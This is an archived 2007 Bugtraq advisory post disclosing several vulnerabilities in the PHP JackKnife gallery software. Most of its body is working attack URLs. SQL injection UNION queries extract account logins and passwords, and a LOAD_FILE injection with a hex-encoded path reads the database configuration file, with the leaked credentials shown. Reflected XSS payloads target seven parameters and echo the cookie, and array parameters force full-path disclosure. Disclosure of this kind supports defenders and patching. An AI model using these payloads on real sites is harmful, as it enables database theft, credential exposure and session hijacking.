lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20070530224403.6910.qmail@securityfocus.com>
Date: 30 May 2007 22:44:03 -0000
From: laurent.gaffie@...il.com
To: bugtraq@...urityfocus.com
Subject: PHP JackKnife [multiple vulnerabilities]

Vendor site: http://www.phpjk.com/
Product: phpjackknife
Bug: sql injection , xss , full path 
Risk: high
Note: works regarless of php.ini settings

Description:
PHP JackKnife (PHPJK) is freely downloadable PHP gallery software that you can use to instantly create you own online web gallery



Injection sql GET  :

http://127.0.0.1/PHPJK/G_Display.php?iCategoryUnq=-1/**/union/**/select/**/1,2,Password,4,5,6/**/from/**/Accounts/*
http://127.0.0.1/PHPJK/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=-1+UNION+SELECT+1,1,1,1,Login,1,Password,1,1,1,1,1,1,1+FROM+Accounts/*

Read database credentials:
http://127.0.0.1/PHPJK/G_Display.php?iCategoryUnq=-1/**/union/**/select/**/1,2,LOAD_FILE(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F5048504A4B2F436F6E66696775726174696F6E732F5048504A4B5F436F6E6669672E706870),4,5,6/**/from/**/Accounts/*

//Result (in the page source code) :
$sUseDB = "MYSQL";
$sDatabaseName = "phpjk";
$sDatabaseServer = "localhost";
$sDatabaseLogin = "my_user";
$sDatabasePassword = "my_password";

ps:( 0x2F75......... = /usr/local/apache2/htdocs/PHPJK/Configurations/PHPJK_Config.php )


Xss get :

http://127.0.0.1/PHPJK/G_Display.php?iCategoryUnq=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?iDBLoc=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?iTtlNumItems=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?&iNumPerPage=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?sSort=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/UserArea/Authenticate.php?sUName=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/UserArea/NewAccounts/index.php?sAccountUnq=</textarea>'"><script>alert(document.cookie)</script>

Full path :

http://127.0.0.1/PHPJK/G_Display.php?iCategoryUnq[]=1
http://127.0.0.1/PHPJK/G_Display.php?sSort[]=Name_A
http://127.0.0.1/PHPJK/index.php?iParentUnq[]=0


regards laurent gaffie
contact: laurent.gaffie@...il.com

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ